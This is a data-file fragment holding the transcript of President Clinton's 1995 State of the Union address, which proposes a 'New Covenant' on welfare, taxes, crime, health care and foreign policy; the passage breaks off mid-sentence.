+    "speech": "Mr. President, Mr. Speaker, members of the 104th Congress, my fellow\nAmericans:Again we are here in the sanctuary of democracy. And once again, our\ndemocracy has spoken.So let me begin by congratulating all of you here in the 104th Congress,\nand congratulating you, Mr. Speaker.If we agree on nothing else tonight, we must agree that the American people\ncertainly voted for change in 1992 and in 1994.And as I look out at you, I know how some of you must have felt in 1992.I must say that in both years we didn't hear America singing, we heard\nAmerica shouting. And now all of us, Republicans and Democrats alike, must\nsay: We hear you. We will work together to earn the jobs you have given us.\nFor we are the keepers of the sacred trust and we must be faithful to it in\nthis new and very demanding era.Over 200 years ago, our founders changed the entire course of human history\nby joining together to create a new country based on a single, powerful\nidea. We hold these truths to be self-evident, that all men are created\nequal, endowed by their creator with certain inalienable rights. Among\nthese are life, liberty and the pursuit of happiness.It has fallen to every generation since then to preserve that idea--the\nAmerican idea--and to deepen and expand its meaning in new and different\ntimes. To Lincoln and to his Congress, to preserve the Union and to end\nslavery. To Theodore Roosevelt and Woodrow Wilson, to restrain the abuses\nand excesses of the Industrial Revolution and to assert our leadership in\nthe world. To Franklin Roosevelt, to fight the failure and pain of the\nGreat Depression and to win our country's great struggle against fascism.And to all our Presidents since, to fight the cold war. Especially, I\nrecall two who struggled to fight that cold war in partnership with\nCongresses where the majority was of a different party. To Harry Truman,\nwho summoned us to unparalleled prosperity at home and who built the\narchitecture of the cold war. And to Ronald Reagan, whom we wish well\ntonight, and who exhorted us to carry on until the twilight struggle\nagainst Communism was won.In another time of change and challenge, I had the honor to be the first\nPresident to be elected in the post-cold-war era, an era marked by the\nglobal economy, the information revolution, unparalleled change in\nopportunity and in security for the American people.I came to this hallowed chamber two years ago on a mission: To restore the\nAmerican dream for all our people and to make sure that we move into the\n21st century still the strongest force for freedom and democracy in the\nentire world.I was determined then to tackle the tough problems too long ignored. In\nthis effort I am frank to say that I have made my mistakes. And I have\nlearned again the importance of humility in all human endeavor.But I am also proud to say tonight that our country is stronger than it was\ntwo years ago.AccomplishmentsRecord numbers, record numbers of Americans are succeeding in the new\nglobal economy. We are at peace, and we are a force for peace and freedom\nthroughout the world. We have almost six million new jobs since I became\nPresident, and we have the lowest combined rate of unemployment and\ninflation in 25 years.Our businesses are more productive and here we have worked to bring the\ndeficit down, to expand trade, to put more police on our streets, to give\nour citizens more of the tools they need to get an education and to rebuild\ntheir own communities. But the rising tide is not lifting all the boats.While our nation is enjoying peace and prosperity, too many of our people\nare still working harder and harder for less and less. While our businesses\nare restructuring and growing more productive and competitive, too many of\nour people still can't be sure of having a job next year or even next\nmonth. And far more than our material riches are threatened, things far\nmore precious to us: our children, our families, our values.Our civil life is suffering in America today. Citizens are working together\nless and shouting at each other more. The common bonds of community which\nhave been the great strength of our country from its very beginning are\nbadly frayed.What are we to do about it?More than 60 years ago at the dawn of another new era, President Roosevelt\ntold our nation new conditions impose new requirements on Government and\nthose who conduct Government. And from that simple proposition he shaped\nthe New Deal, which helped to restore our nation to prosperity and defined\nthe relationship between our people and their Government for half a\ncentury.That approach worked in its time but today we face a very different time\nand very different conditions. We are moving from an industrial age built\non gears and sweat to an information age demanding skills and learning and\nflexibility.Our Government, once a champion of national purpose, is now seen by many as\nsimply a captive of narrow interests putting more burdens on our citizens\nrather than equipping them to get ahead. The values that used to hold us\nall together seem to be coming apart.So tonight we must forge a new social compact to meet the challenges of\nthis time. As we enter a new era, we need a new set of understandings not\njust with Government but, even more important, with one another as\nAmericans.New CovenantThat's what I want to talk with you about tonight. I call it the New\nCovenant but it's grounded in a very, very old idea that all Americans have\nnot just a right but a solemn responsibility to rise as far as their\nGod-given talents and determination can take them. And to give something\nback to their communities and their country in return.Opportunity and responsibility--they go hand in hand; we can't have one\nwithout the other, and our national community can't hold together without\nboth.Our New Covenant is a new set of understandings for how we can equip our\npeople to meet the challenges of the new economy, how we can change the way\nour Government works to fit a different time and, above all, how we can\nrepair the damaged bonds in our society and come together behind our common\npurpose. We must have dramatic change in our economy, our Government and\nourselves.My fellow Americans, without regard to party, let us rise to the occasion.\nLet us put aside partisanship and pettiness and pride. As we embark on this\ncourse, let us put our country first, remembering that regardless of party\nlabel we are all Americans. And let the final test of everything we do be a\nsimple one: Is it good for the American people?Let me begin by saying that we cannot ask Americans to be better citizens\nif we are not better servants. You made a good start by passing that law\nwhich applies to Congress all the laws you put on the private sector--and\nI was proud to sign it yesterday.But we have a lot more to do before people really trust the way things work\naround here. Three times as many lobbyists are in the streets and corridors\nof Washington as were here 20 years ago. The American people look at their\ncapital and they see a city where the well-connected and the well-protected\ncan work the system, but the interests of ordinary citizens are often left\nout.As the new Congress opened its doors, lobbyists were still doing business\nas usual--the gifts, the trips--all the things that people are concerned\nabout haven't stopped.Twice this month you missed opportunities to stop these practices. I know\nthere were other considerations in those votes, but I want to use something\nthat I've heard my Republican friends say from time to time: There doesn't\nhave to be a law for everything.So tonight I ask you to just stop taking the lobbyists' perks, just stop.We don't have to wait for legislation to pass to send a strong signal to\nthe American people that things are really changing. But I also hope you\nwill send me the strongest possible lobby reform bill, and I'll sign that,\ntoo. We should require lobbyists to tell the people for whom they work what\nthey're spending, what they want. We should also curb the role of big money\nin elections by capping the cost of campaigns and limiting the influence of\nPAC's.And as I have said for three years, we should work to open the air waves so\nthat they can be an instrument of democracy not a weapon of destruction by\ngiving free TV time to candidates for public office.When the last Congress killed political reform last year, it was reported\nin the press that the lobbyists actually stood in the halls of this sacred\nbuilding and cheered. This year, let's give the folks at home something to\ncheer about.More important, I think we all agree that we have to change the way the\nGovernment works. Let's make it smaller, less costly and smarter. Leaner\nnot meaner.I just told the Speaker the equal time doctrine's alive and well.The Role Of GovernmentThe New Covenant approach to governing is as different from the old\nbureaucratic way as the computer is from the manual typewriter. The old way\nof governing around here protected organized interests; we should look out\nfor the interests of ordinary people. The old way divided us by interests,\nconstituency or class; the New Covenant way should unite us behind a common\nvision of what's best for our country.The old way dispensed services through large, top-down, inflexible\nbureaucracies. The New Covenant way should shift these resources and\ndecision making from bureaucrats to citizens, injecting choice and\ncompetition and individual responsibility into national policy.The old way of governing around here actually seemed to reward failure. The\nNew Covenant way should have built-in incentives to reward success.The old way was centralized here in Washington. The New Covenant way must\ntake hold in the communities all across America, and we should help them to\ndo that.Our job here is to expand opportunity, not bureaucracy, to empower people\nto make the most of their own lives and to enhance our security here at\nhome and abroad.We must not ask Government to do what we should do for ourselves. We should\nrely on Government as a partner to help us to do more for ourselves and for\neach other.I hope very much that as we debate these specific and exciting matters, we\ncan go beyond the sterile discussion between the illusion that there is\nsomehow a program for every problem, on the one hand, and the other\nillusion that the Government is the source of every problem that we have.Our job is to get rid of yesterday's Government so that our own people can\nmeet today's and tomorrow's needs.And we ought to do it together.You know, for years before I became President, I heard others say they\nwould cut Government and how bad it was. But not much happened.We actually did it. We cut over a quarter of a trillion dollars in\nspending, more than 300 domestic programs, more than 100,000 positions from\nthe Federal bureaucracy in the last two years alone.Based on decisions already made, we will have cut a total of more than a\nquarter of a million positions from the Federal Government, making it the\nsmallest it has been since John Kennedy was president, by the time I come\nhere again next year.Under the leadership of Vice President Gore, our initiatives have already\nsaved taxpayers $ 63 billion. The age of the $ 500 hammer and the ashtray\nyou can break on David Letterman is gone. Deadwood programs like mohair\nsubsidies are gone. We've streamlined the Agriculture Department by\nreducing it by more than 1,200 offices. We've slashed the small-business\nloan form from an inch thick to a single page. We've thrown away the\nGovernment's 10,000-page personnel manual.And the Government is working better in important ways. FEMA, the Federal\nEmergency Management Agency, has gone from being a disaster to helping\npeople in disaster.You can ask the farmers in the Middle West who fought the flood there or\nthe people in California who've dealt with floods and earthquakes and fires\nand they'll tell you that.Government workers, working hand-in-hand with private business, rebuilt\nSouthern California's fractured freeways in record time and under budget.And because the Federal Government moved fast, all but one of the 5,600\nschools damaged in the earthquake are back in business.Now, there are a lot of other things that I could talk about. I want to\njust mention one because it'll be discussed here in the next few weeks.University administrators all over the country have told me that they are\nsaving weeks and weeks of bureaucratic time now because of our direct\ncollege loan program, which makes college loans cheaper and more affordable\nwith better repayment terms for students, costs the Government less and\ncuts out paperwork and bureaucracy for the Government and for the\nuniversities.We shouldn't cap that program, we should give every college in America the\nopportunity to be a part of it.Previous Government programs gather dust; the reinventing Government report\nis getting results. And we're not through--there's going to be a second\nround of reinventing Government.We propose to cut $ 130 billion in spending by shrinking departments,\nextending our freeze on domestic spending, cutting 60 public housing\nprograms down to 3, getting rid of over a hundred programs we do not need\nlike the Interstate Commerce Commission and the Helium Reserve Program.And we're working on getting rid of unnecessary regulations and making them\nmore sensible. The programs and regulations that have outlived their\nusefulness should go. We have to cut yesterday's Government to help solve\ntomorrow's problems.And we need to get Government closer to the people it's meant to serve. We\nneed to help move programs down to the point where states and communities\nand private citizens in the private sector can do a better job. If they can\ndo it, we ought to let them do it. We should get out of the way and let\nthem do what they can do better.Community EmpowermentTaking power away from Federal bureaucracies and giving it back to\ncommunities and individuals is something everyone should be able to be for.\nIt's time for Congress to stop passing onto the states the cost of\ndecisions we make here in Washington.I know there are still serious differences over the details of the unfunded\nmandates legislation but I want to work with you to make sure we pass a\nreasonable bill which will protect the national interest and give justified\nrelief where we need to give it.For years, Congress concealed in the budget scores of pet spending\nprojects. Last year was no different. There was a million dollars to study\nstress in plants and $ 12 million for a tick removal program that didn't\nwork. It's hard to remove ticks; those of us who've had them know.But I'll tell you something, if you'll give me the line-item veto, I'll\nremove some of that unnecessary spending.But, I think we should all remember, and almost all of us would agree, that\nGovernment still has important responsibilities.Our young people--we should think of this when we cut--our young people\nhold our future in their hands. We still owe a debt to our veterans. And\nour senior citizens have made us what we are.BudgetNow, my budget cuts a lot. But it protects education, veterans, Social\nSecurity and Medicare, and I hope you will do the same thing. You should,\nand I hope you will.And when we give more flexibility to the states, let us remember that there\nare certain fundamental national needs that should be addressed in every\nstate, north and south, east and west.Immunization against childhood disease, school lunches in all our schools,\nHead Start, medical care and nutrition for pregnant women and infants--all\nthese things are in the national interest.I applaud your desire to get rid of costly and unnecessary regulations, but\nwhen we deregulate let's remember what national action in the national\ninterest has given us: safer food for our families, safer toys for our\nchildren, safer nursing homes for our parents, safer cars and highways and\nsafer workplaces, cleaner air and cleaner water. Do we need common sense\nand fairness in our regulations? You bet we do. But we can have common\nsense and still provide for safe drinking water. We can have fairness and\nstill clean up toxic dumps and we ought to do it.Should we cut the deficit more? Well of course we should. Of course we\nshould. But we can bring it down in a way that still protects our economic\nrecovery and does not unduly punish people who should not be punished, but\ninstead should be helped.I know many of you in this chamber support the balanced-budget amendment. I\ncertainly want to balance the budget. Our Administration has done more to\nbring the budget down and to save money than any in a very, very long\ntime.If you believe passing this amendment is the right thing to do, then you\nhave to be straight with the American people. They have a right to know\nwhat you're going to cut, what taxes you're going to raise, how it's going\nto affect them.And we should be doing things in the open around here. For example,\neverybody ought to know if this proposal is going to endanger Social\nSecurity. I would oppose that, and I think most Americans would.WelfareNothing is done more to undermine our sense of common responsibility than\nour failed welfare system. This is one of the problems we have to face here\nin Washington in our New Covenant. It rewards welfare over work, it\nundermines family values, it lets millions of parents get away without\npaying their child support, it keeps a minority--but a significant\nminority--of the people on welfare trapped on it for a very long time.I worked on this problem for a long time--nearly 15 years now. As a\nGovernor I had the honor of working with the Reagan Administration to write\nthe last welfare reform bill back in 1988.In the last two years we made a good start in continuing the work of\nwelfare reform. Our Administration gave two dozen states the right to slash\nthrough Federal rules and regulations to reform their own welfare systems\nand to try to promote work and responsibility over welfare and dependency.Last year, I introduced the most sweeping welfare reform plan ever\npresented by an Administration. We have to make welfare what it was meant\nto be--a second chance, not a way of life.We have to help those on welfare move to work as quickly as possible, to\nprovide child care and teach them skills, if that's what they need, for up\nto two years. But after that, there ought to be a simple, hard rule. Anyone\nwho can work must go to work.If a parent isn't paying child support, they should be forced to pay.We should suspend driver's licenses, track them across state lines, make\nthem work off what they owe. That is what we should do. Governments do not\nraise children, people do. And the parents must take responsibility for the\nchildren they bring into this world.I want to work with you, with all of you, to pass welfare reform. But our\ngoal must be to liberate people and lift them from dependence to\nindependence, from welfare to work, from mere childbearing to responsible\nparenting. Our goal should not be to punish them because they happen to be\npoor.We should--we should require work and mutual responsibility. But we\nshouldn't cut people off just because they're poor, they're young or even\nbecause they're unmarried. We should promote responsibility by requiring\nyoung mothers to live at home with their parents or in other supervised\nsettings, by requiring them to finish school. But we shouldn't put them and\ntheir children out on the street.And I know all the arguments pro and con and I have read and thought about\nthis for a long time: I still don't think we can, in good conscience,\npunish poor children for the mistakes of their parents.My fellow Americans, every single survey shows that all the American people\ncare about this, without regard to party or race or region. So let this be\nthe year we end welfare as we know it.But also let this be the year that we are all able to stop using this issue\nto divide America.No one is more eager to end welfare.I may be the only President who's actually had the opportunity to sit in\nthe welfare office, who's actually spent hours and hours talking to people\non welfare, and I am telling you the people who are trapped on it know it\ndoesn't work. They also want to get off.So we can promote, together, education and work and good parenting. I have\nno problem with punishing bad behavior or the refusal to be a worker or a\nstudent or a responsible parent. I just don't want to punish poverty and\npast mistakes. All of us have made our mistakes and none of us can change\nour yesterdays, but every one of us can change our tomorrows.And America's best example of that may be Lynn Woolsey, who worked her way\noff welfare to become a Congresswoman from the state of California.CrimeI know the members of this Congress are concerned about crime, as are all\nthe citizens of our country. But I remind you that last year we passed a\nvery tough crime bill--longer sentences, three strikes and you're out,\nalmost 60 new capital punishment offenses, more prisons, more prevention,\n100,000 more police--and we paid for it all by reducing the size of the\nFederal bureaucracy and giving the money back to local communities to lower\nthe crime rate.There may be other things we can do to be tougher on crime, to be smarter\nwith crime, to help to lower that rate first. Well if there are, let's talk\nabout them and let's do them. But let's not go back on the things that we\ndid last year that we know work--that we know work because the local\nlaw-enforcement officers tell us that we did the right thing. Because local\ncommunity leaders, who've worked for years and years to lower the crime\nrate, tell us that they work.Let's look at the experience of our cities and our rural areas where the\ncrime rate has gone down and ask the people who did it how they did it and\nif what we did last year supports the decline in the crime rate, and I am\nconvinced that it does, let us not go back on it, let's stick with it,\nimplement it--we've got four more hard years of work to do to do that.I don't want to destroy the good atmosphere in the room or in the country\ntonight, but I have to mention one issue that divided this body greatly\nlast year. The last Congress also passed the Brady bill and in the crime\nbill the ban on 19 assault weapons.I don't think it's a secret to anybody in this room that several members of\nthe last Congress who voted for that aren't here tonight because they voted\nfor it. And I know, therefore, that some of you that are here because they\nvoted for it are under enormous pressure to repeal it. I just have to tell\nyou how I feel about it.The members who voted for that bill and I would never do anything to\ninfringe on the right to keep and bear arms to hunt and to engage in other\nappropriate sporting activities. I've done it since I was a boy, and I'm\ngoing to keep right on doing it until I can't do it anymore.But a lot of people laid down their seats in Congress so that police\nofficers and kids wouldn't have to lay down their lives under a hail of\nassault-weapon attacks, and I will not let that be repealed. I will not let\nit be repealed.I'd like to talk about a couple of other issues we have to deal with. I\nwant us to cut more spending, but I hope we won't cut Government programs\nthat help to prepare us for the new economy, promote responsibility and are\norganized from the grass roots up, not by Federal bureaucracy.The very best example of this is the National Service Corps--AmeriCorps.\nIt passed with strong bipartisan support and now there are 20,000 Americans\n--more than ever served in one year in the Peace Corps--working all over\nthis country, helping person to person in local grass-roots volunteer\ngroups, solving problems and in the process earning some money for their\neducation.This is citizenship at its best. It's good for the AmeriCorps members, but\nit's good for the rest of us, too. It's the essence of the New Covenant and\nwe shouldn't stop it.Illegal ImmigrationAll Americans, not only in the states most heavily affected, but in every\nplace in this country are rightly disturbed by the large numbers of illegal\naliens entering our country.The jobs they hold might otherwise be held by citizens or legal immigrants.\nThe public services they use impose burdens on our taxpayers. That's why\nour Administration has moved aggressively to secure our borders more, by\nhiring a record number of new border guards, by deporting twice as many\ncriminal aliens as ever before, by cracking down on illegal hiring, by\nbarring welfare benefits to illegal aliens.In the budget I will present to you, we will try to do more to speed the\ndeportation of illegal aliens who are arrested for crimes, to better\nidentify illegal aliens in the workplace as recommended by the commission\nheaded by former Congresswoman Barbara Jordan.We are a nation of immigrants, but we are also a nation of laws. It is\nwrong and ultimately self-defeating for a nation of immigrants to permit\nthe kind of abuse of our immigration laws we have seen in recent years, and\nwe must do more to stop it.The most important job of our Government in this new era is to empower the\nAmerican people to succeed in the global economy. America has always been a\nland of opportunity, a land where, if you work hard, you can get ahead.\nWe've become a great middle-class country; middle-class values sustain us.\nWe must expand that middle class and shrink the underclass even as we do\neverything we can to support the millions of Americans who are already\nsuccessful in the new economy.America is once again the world's strongest economic power: almost six\nmillion new jobs in the last two years, exports booming, inflation down,\nhigh-wage jobs are coming back. A record number of American entrepreneurs\nare living the American dream.If we want it to stay that way, those who work and lift our nation must\nhave more of its benefits.Today, too many of those people are being left out. They're working harder\nfor less. They have less security, less income, less certainty that they\ncan even afford a vacation, much less college for their kids or retirement\nfor themselves.We cannot let this continue. If we don't act, our economy will probably\nkeep doing what it's been doing since about 1978, when the income growth\nbegan to go to those at the very top of our economic scale. And the people\nin the vast middle got very little growth and people who worked like crazy\nbut were on the bottom then, fell even further and further behind in the\nyears afterward, no matter how hard they worked.We've got to have a Government that can be a real partner in making this\nnew economy work for all of our people, a Government that helps each and\nevery one of us to get an education and to have the opportunity to renew\nour skills.EducationThat's why we worked so hard to increase educational opportunities in the\nlast two years from Head Start to public schools to apprenticeships for\nyoung people who don't go to college, to making college loans more\navailable and more affordable.That's the first thing we have to do: We've got to do something to empower\npeople to improve their skills.TaxesSecond thing we ought to do is to help people raise their incomes\nimmediately by lowering their taxes.We took the first step in 1993 with a working family tax cut for 15 million\nfamilies with incomes under $ 27,000, a tax cut that this year will average\nabout $ 1,000 a family.And we also gave tax reductions to most small and new businesses. Before we\ncould do more than that, we first had to bring down the deficit we\ninherited and we had to get economic growth up. Now we've done both, and\nnow we can cut taxes in a more comprehensive way.But tax cuts should reinforce and promote our first obligation: to empower\nour citizens through education and training to make the most of their own\nlives. The spotlight should shine on those who make the right choices for\nthemselves, their families and their communities.Middle Class Bill Of RightsI have proposed a middle-class bill of rights, which should properly be\ncalled the bill of rights and responsibilities, because its provisions only\nbenefit those who are working to educate and raise their children and to\neducate themselves. It will, therefore, give needed tax relief and raise\nincomes, in both the short run and the long run, in a way that benefits all\nof us.There are four provisions:First, a tax deduction for all education and training after high school. If\nyou think about it, we permit businesses to deduct their investment, we\npermit individuals to deduct interest on their home mortgages, but today an\neducation is even more important to the economic well-being of our whole\ncountry than even those things are. We should do everything we can to\nencourage it, and I hope you will support it.Second, we ought to cut taxes $ 500 for families with children under 13.Third, we ought to foster more savings and personal responsibility by\npermitting people to establish an individual retirement account and\nwithdraw from it tax free for the cost of education, health care,\nfirst-time home buying or the care of a parent.And fourth, we should pass a G.I. bill for America's workers. We propose to\ncollapse nearly 70 Federal programs and not give the money to the states\nbut give the money directly to the American people, offer vouchers to them\nso that they--if they're laid off or if they're working for a very low\nwage--can get a voucher worth $ 2,600 a year for up to two years to go to\ntheir local community colleges or wherever else they want to get the skills\nthey need to improve their lives. Let's empower people in this way. Move it\nfrom the Government directly to the workers of America.Cutting The Deficit NowAny one of us can call for a tax cut, but I won't accept one that explodes\nthe deficit or puts our recovery at risk. We ought to pay for our tax cuts\nfully and honestly. Just two years ago it was an open question whether we\nwould find the strength to cut the deficit.Thanks to the courage of the people who were here then, many of whom didn't\nreturn, we did cut the deficit. We began to do what others said would not\nbe done: We cut the deficit by over $ 600 billion, about $ 10,000 for every\nfamily in this country. It's coming down three years in a row for the first\ntime since Mr. Truman was President and I don't think anybody in America\nwants us to let it explode again.In the budget I will send you, the middle-class bill of rights is fully\npaid for by budget cuts in bureaucracy, cuts in programs, cuts in special\ninterest subsidies. And the spending cuts will more than double the tax\ncuts. My budget pays for the middle-class bill of rights without any cuts\nin Medicare, and I will oppose any attempts to pay for tax cuts with\nMedicare cuts. That's not the right thing to do.I know that a lot of you have your own ideas about tax relief. And some of\nthem, I find quite interesting. I really want to work with all of you.My tests for our proposals will be: Will it create jobs and raise incomes?\nWill it strengthen our families and support our children? Is it paid for?\nWill it build the middle class and shrink the underclass?If it does, I'll support it. But if it doesn't, I won't.Minimum WageThe goal of building the middle class and shrinking the underclass is also\nwhy I believe that you should raise the minimum wage.It rewards work--two and a half million Americans, often women with\nchildren, are working out there today for four-and-a-quarter an hour. In\nterms of real buying power, by next year, that minimum wage will be at a\n40-year low. That's not my idea of how the new economy ought to work.Now I studied the arguments and the evidence for and against a minimum-wage\nincrease. I believe the weight of the evidence is that a modest increase\ndoes not cost jobs and may even lure people back into the job market. But\nthe most important thing is you can't make a living on $ 4.25 an hour. Now\n--especially if you have children, even with the working families tax cut\nwe passed last year.In the past, the minimum wage has been a bipartisan issue and I think it\nshould be again. So I want to challenge you to have honest hearings on\nthis, to get together to find a way to make the minimum wage a living\nwage.Members of Congress have been here less than a month but by the end of the\nweek--28 days into the new year--every member of Congress will have\nearned as much in congressional salary as a minimum-wage worker makes all\nyear long.Everybody else here, including the President, has something else that too\nmany Americans do without and that's health care.Health CareNow, last year we almost came to blows over health care, but we didn't do\nanything. And the cold, hard fact is that since last year--since I was\nhere--another 1.1 million Americans in working families have lost their\nhealth care. And the cold, hard fact is that many millions more--most of\nthem farmers and small business people and self-employed people--have\nseen their premiums skyrocket, their co-pays and deductibles go up.There's a whole bunch of people in this country that in the statistics have\nhealth insurance but really what they've got is a piece of paper that says\nthey won't lose their home if they get sick.Now I still believe our country has got to move toward providing health\nsecurity for every American family, but--but I know that last year, as the\nevidence indicates, we bit off more than we could chew.So I'm asking you that we work together. Let's do it step by step. Let's do\nwhatever we have to do to get something done. Let's at least pass\nmeaningful insurance reform so that no American risks losing coverage for\nfacing skyrocketing prices but that nobody loses their coverage because\nthey face high prices or unavailable insurance when they change jobs or\nlose a job or a family member gets sick.I want to work together with all of you who have an interest in this: with\nthe Democrats who worked on it last time, with the Republican leaders like\nSenator Dole who has a longtime commitment to health care reform and made\nsome constructive proposals in this area last year. We ought to make sure\nthat self-employed people in small businesses can buy insurance at more\naffordable rates through voluntary purchasing pools. We ought to help\nfamilies provide long-term care for a sick parent to a disabled child. We\ncan work to help workers who lose their jobs at least keep their health\ninsurance coverage for a year while they look for work, and we can find a\nway--it may take some time, but we can find a way--to make sure that our\nchildren have health care.You know, I think everybody in this room, without regard to party, can be\nproud of the fact that our country was rated as having the world's most\nproductive economy for the first time in nearly a decade, but we can't be\nproud of the fact that we're the only wealthy country in the world that has\na smaller percentage of the work force and their children with health\ninsurance today than we did 10 years ago--the last time we were the most\nproductive economy in the world.So let's work together on this. It is too important for politics as usual.Much of what the American people are thinking about tonight is what we've\nalready talked about. A lot of people think that the security concerns of\nAmerica today are entirely internal to our borders, they relate to the\nsecurity of our jobs and our homes and our incomes and our children, our\nstreets, our health and protecting those borders.Foreign PolicyNow that the Cold War has passed, it's tempting to believe that all the\nsecurity issues, with the possible exception of trade, reside here at home.\nBut it's not so. Our security still depends on our continued world\nleadership for peace and freedom and democracy. We still can't be strong at\nhome unless we're strong abroad.MexicoThe financial crisis in Mexico is a case in point. I know it's not popular\nto say it tonight but we have to act, not for the Mexican people but for\nthe sake of the millions of Americans whose livelihoods are tied to\nMexico's well-being. If we want to secure American jobs, preserve American\nexports, safeguard America's borders then we must pass the stabilization\nprogram and help to put Mexico back on track.Now let me repeat: it's not a loan, it's not foreign aid, it's not a\nbail-out. We'll be given a guarantee like co-signing a note with good\ncollateral that will cover our risk.This legislation is the right thing for America. That's why the bipartisan\nleadership has supported it. And I hope you in Congress will pass it\nquickly. It is in our interest and we can explain it to the American\npeople, because we're going to do it in the right way.RussiaYou know, tonight this is the first State of the Union address ever\ndelivered since the beginning of the cold war when not a single Russian\nmissile is pointed at the children of America.And along with the Russians, we're on our way to destroying the missiles\nand the bombers that carry 9,000 nuclear warheads. We've come so far so\nfast in this post-cold-war world that it's easy to take the decline of the\nnuclear threat for granted. But it's still there, and we aren't finished\nyet.This year, I'll ask the Senate to approve START II to eliminate weapons\nthat carry 5,000 more warheads. The United States will lead the charge to\nextend indefinitely the Nuclear Nonproliferation Treaty, to enact a\ncomprehensive nuclear test ban, and to eliminate chemical weapons.North KoreaTo stop and roll back North Korea's potentially deadly nuclear program,\nwe'll continue to implement the agreement we have reached with that nation.\nIt's smart, it's tough, it's a deal based on continuing inspection with\nsafeguards for our allies and ourselves.This year, I'll submit to Congress comprehensive legislation to strengthen\nour hand in combating terrorists, whether they strike at home or abroad. As\nthe cowards who bombed the World Trade Center found out, this country will\nhunt down terrorists and bring them to justice.Middle EastJust this week, another horrendous terrorist act in Israel killed 19 and\ninjured scores more. On behalf of the American people and all of you, I\nsend our deepest sympathy to the families of the victims. I know that in\nthe face of such evil, it is hard for the people in the Middle East to go\nforward. But the terrorists represent the past, not the future. We must and\nwe will pursue a comprehensive peace between Israel and all her neighbors\nin the Middle East.Accordingly, last night I signed an executive order that will block the\nassets in the United States of terrorist organizations that threaten to\ndisrupt the peace process. It prohibits financial transactions with these\ngroups.And tonight I call on all our allies in peace-loving nations throughout the\nworld to join us with renewed fervor in a global effort to combat\nterrorism, we cannot permit the future to be marred by terror and fear and\nparalysis.DefenseFrom the day I took the oath of office, I pledged that our nation would\nmaintain the best-equipped, best-trained and best-prepared military on\nearth. We have and they are. They have managed the dramatic downsizing of\nour forces after the cold war with remarkable skill and spirit. But to make\nsure our military is ready for action and to provide the pay and the\nquality of life the military and their families deserve, I'm asking the\nCongress to add $ 25 billion in defense spending over the next six years.I have visited many bases at home and around the world since I became\nPresident. Tonight I repeat that request with renewed conviction. We ask a\nvery great deal of our armed forces. Now that they are smaller in number,\nwe ask more of them. They go out more often to more different places and\nstay longer. They are called to service in many, many ways, and we must\ngive them and their families what the times demand and what they have\nearned.Just think about what our troops have done in the last year, showing\nAmerica at its best, helping to save hundreds of thousands of people in\nRwanda, moving with lightning speed to head off another threat to Kuwait,\ngiving freedom and democracy back to the people of Haiti.We have proudly supported peace and prosperity and freedom from South\nAfrica to Northern Ireland, from Central and Eastern Europe to Asia, from\nLatin America to the Middle East. All these endeavors are good in those\nplaces but they make our future more confident and more secure.Well, my fellow Americans, that's my agenda for America's future: expanding\nopportunity not bureaucracy, enhancing security at home and abroad,\nempowering our people to make the most of their own lives.It's ambitious and achievable. But it's not enough.We even need more than new ideas for changing the world or equipping\nAmericans to compete in the new economy, more than a Government that's\nsmaller, smarter and wiser, more than all the changes we can make in\nGovernment and in the private sector from the outside in.Values And VoicesOur fortunes and our prosperity also depend upon our ability to answer some\nquestions from within--from the values and voices that speak to our hearts\nas well as our heads, voices that tell us we have to do more to accept\nresponsibility for ourselves and our families, for our communities, and\nyes, for our fellow citizens.We see our families and our communities all over this country coming apart.\nAnd we feel the common ground shifting from under us. The PTA, the town\nhall meeting, the ball park--it's hard for a lot of overworked parents to\nfind the time and space for those things that strengthen the bonds of trust\nand cooperation.Too many of our children don't even have parents and grandparents who can\ngive them those experiences that they need to build their own character and\ntheir sense of identity. We all know that while we here in this chamber can\nmake a difference on those things, that the real differences will be made\nby our fellow citizens where they work and where they live.And it'll be made almost without regard to party. When I used to go to the\nsoftball park in Little Rock to watch my daughter's league and people would\ncome up to me--fathers and mothers--and talk to me, I can honestly say I\nhad no idea whether 90 percent of them were Republicans or Democrats.When I visited the relief centers after the floods in California, Northern\nCalifornia, last week, a woman came up to me and did something that very\nfew of you would do. She hugged me and said, \"Mr. President, I'm a\nRepublican, but I'm glad you're here.\"Now, why? We can't wait for disasters to act the way we used to act every\nday. Because as we move into this next century, everybody matters. We don't\nhave a person to waste. And a lot of people are losing a lot of chances to\ndo better.That means that we need a New Covenant for everybody--for our corporate\nand business leaders, we're going to work here to keep bringing the deficit\ndown, to expand markets, to support their success in every possible way.\nBut they have an obligation: when they're doing well, to keep jobs in our\ncommunities and give their workers a fair share of the prosperity they\ngenerate.For people in the entertainment industry in this country, we applaud your\ncreativity and your worldwide success and we support your freedom of\nexpression but you do have a responsibility to assess the impact of your\nwork and to understand the damage that comes from the incessant,\nrepetitive, mindless violence and irresponsible conduct that permeates our\nmedia all the time.We've got to ask our community leaders and all kinds of organizations to\nhelp us stop our most serious social problem: the epidemic of teen\npregnancies and births where there is no marriage. I have sent to Congress\na plan to target schools all over this country with anti-pregnancy programs\nthat work. But government can only do so much. Tonight, I call on parents\nand leaders all across this country to join together in a national campaign\nagainst teen pregnancy to make a difference. We can do this and we must.And I would like to say a special word to our religious leaders. You know,\nI'm proud of the fact that the United States has more house of worship per\ncapita than any country in the world. These people, who lead our houses of\nworship, can ignite their congregations to carry their faith into action,\ncan reach out to all of our children, to all of the people in distress, to\nthose who have been savaged by the breakdown of all we hold dear, because\nso much of what must be done must come from the inside out. And our\nreligious leaders and their congregations can make all the difference. They\nhave a role in the New Covenant as well.There must be more responsibility for all of our citizens. You know it\ntakes a lot of people to help all the kids in trouble stay off the streets\nand in school. It takes a lot of people to build the Habitat for Humanity\nhouses that the Speaker celebrates on his lapel pin. It takes a lot of\npeople to provide the people power for all the civic organizations in this\ncountry that made our communities mean so much to most of us when we were\nkids. It takes every parent to teach the children the difference between\nright and wrong and to encourage them to learn and grow and to say no to\nthe wrong things but also to believe that they can be whatever they want to\nbe.I know it's hard when you're working harder for less, when you're under\ngreat stress, to do these things. A lot of our people don't have the time\nor the emotional stress they think to do the work of citizenship. Most of\nus in politics haven't helped very much. For years, we've mostly treated\ncitizens like they were consumers or spectators, sort of political couch\npotatoes who were supposed to watch the TV ads--either promise them\nsomething for nothing or play on their fears and frustrations. And more and\nmore of our citizens now get most of their information in very negative and\naggressive ways that is hardly conducive to honest and open conversations.\nBut the truth is we have got to stop seeing each other as enemies just\nbecause we have different views.If you go back to the beginning of this country, the great strength of\nAmerica, as de Tocqueville pointed out when he came here a long time ago,\nhas always been our ability to associate with people who were different\nfrom ourselves and to work together to find common ground. And in this day\neverybody has a responsibility to do more of that. We simply cannot wait\nfor a tornado, a fire or a flood to behave like Americans 